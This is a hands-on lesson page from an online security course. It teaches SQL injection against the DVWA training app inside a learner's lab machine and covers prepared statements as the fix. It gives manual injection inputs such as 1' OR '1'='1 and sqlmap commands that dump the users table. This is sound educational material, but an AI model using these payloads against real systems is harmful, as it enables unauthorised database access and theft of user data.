04 [Cybersecurity hands-on](https://logicpacks.io/learn/cyber) · Lesson 4 of 10 · lab

# SQL injection on DVWA, by hand and with sqlmap

Break a database query by hand first, so you understand what sqlmap automates.

Roman Urdu: Pehle haath se SQL injection kro, phir sqlmap se. Samajh pehle, tool baad mein.

## Video transcript

SQL injection is still one of the most common serious web bugs. It happens when something a user typed is read as code.

Many apps build a database query by gluing your input into a sentence of SQL. Type a normal ID, and the database gets a normal question. One row comes back.

But if the input contains a quote, the data part ends early. Whatever follows is read as SQL, not as data. Now the user is writing part of the query. And the database answers: every row, not just one.

In the lab, you do it by hand first, to see exactly what breaks, and why. Then a tool like sqlmap repeats the same idea automatically. Understanding first. Tools second.

The fix is a prepared statement. The shape of the query is fixed first. Your input is sent separately, and can only ever be data. Also check input, and give the app's database user as little access as it needs.

So: input is data. Never let it become code. In the lab, on the training app DVWA, set to its easiest level, you pull out the users table by hand, then with sqlmap. Only on training apps, or systems you are allowed to test.

[Video file (MP4, 1 min 26 s, 3.5 MB)](https://logicpacks.io/learn/media/cyber/sql-injection-dvwa/lesson.mp4) · [Captions (WebVTT)](https://logicpacks.io/learn/media/cyber/sql-injection-dvwa/lesson.vtt)

Rules: Only test systems you own or have written permission to test. Everything in this track runs against practice targets inside your own machine. Scanning or attacking anyone else’s system without permission is a crime in most countries.

## Goal

Pull the users table out of DVWA (security level: low), first by hand, then with sqlmap.

## Why it matters

SQL injection is still one of the most common serious web bugs. Doing it by hand teaches you what to fix.

## Your machine · learn-cyber · lab cyber-04

First time: make your course machine from any terminal (Mac, Linux and Windows 10+ all have ssh). Your ssh key is your login; a new key picks a handle and accepts the terms first.

```sh
ssh -t -p 2200 m.logicpacks.io new cyber --name learn-cyber
```

After that, come back to the same machine any time. Your files are still there:

```sh
ssh -t -p 2200 learn-cyber@m.logicpacks.io
```

To use the terminal in this page, sign this browser in once: run this and open the link it prints.

```sh
ssh -p 2200 m.logicpacks.io web
```

All your machines in the browser: [logicpacks.io/m](https://logicpacks.io/m). A guest key gets one machine: if you already use it for something else, `rm` that one or link a free account (3 machines). How machines work, credits and terms: [logicpacks.io/machines](https://logicpacks.io/machines)

## Step by step

1.  Start the practice targets (about 20 seconds; Juice Shop is the slowest).
    
    ```sh
    lab start
    ```
    
    ```sh
    lab status
    ```
    
    Diagram: two ways to build a database query. Glued into the query, input with a quote is read as SQL and every row comes back. With a prepared statement the query shape is fixed and the input is sent separately, so it can only be data.
    
    SQL injection is input being read as code. A prepared statement fixes the query shape, so input can only ever be data.
    
2.  Open DVWA in your browser: the DVWA tile on your machine page, or the ssh tunnel from lesson 3. First time only: Setup / Reset DB, then Create / Reset Database. Log in as admin / password and set DVWA Security to low.
    
3.  Open SQL Injection. Try `1`, then `1'` (an error means your input reaches the query), then `1' OR '1'='1`.
    
4.  Copy your PHPSESSID cookie (browser dev tools, Storage) and let sqlmap list the databases.
    
    ```sh
    sqlmap -u "http://dvwa.lab/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<yours>; security=low" --batch --dbs
    ```
    
5.  Dump the users table and keep a copy for lesson 6.
    
    ```sh
    sqlmap -u "http://dvwa.lab/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<yours>; security=low" --batch -D dvwa -T users --dump
    ```
    
    ```sh
    cp "$(find ~/.local/share/sqlmap/output -path '*dump/dvwa/users.csv' | head -1)" ~/scans/dvwa-users.csv
    ```
    

## Check my work

Run this in your machine. It checks your work and prints PASS, or FAIL with a hint about what is missing.

```sh
lab check cyber-04
```

[Previous : Web app basics and an intercepting proxy](https://logicpacks.io/learn/cyber/web-basics-and-proxy) [Next : XSS and broken login on Juice Shop](https://logicpacks.io/learn/cyber/xss-and-auth-juice-shop)

---

Canonical URL: https://logicpacks.io/learn/cyber/sql-injection-dvwa

Developed by TechRealm (techrealm.online), the software team. Operated by Al Jash Trading (Establishment), Abu Dhabi, since 1994, the legal entity that hosts and is responsible for the service. Economic licence CN-1030597, Abu Dhabi Registration Authority. Address: Office 5, Bani Yas West 4, Bani Yas, Abu Dhabi, UAE. Website: https://aljashtrading.com. Contact: hello@logicpacks.io, security@logicpacks.io, WhatsApp +1 713 632 2262 (https://wa.me/17136322262).

Machine-readable index: [/llms.txt](https://logicpacks.io/llms.txt). Plain facts: [/about.md](https://logicpacks.io/about.md). Safety: [/safety.md](https://logicpacks.io/safety.md).
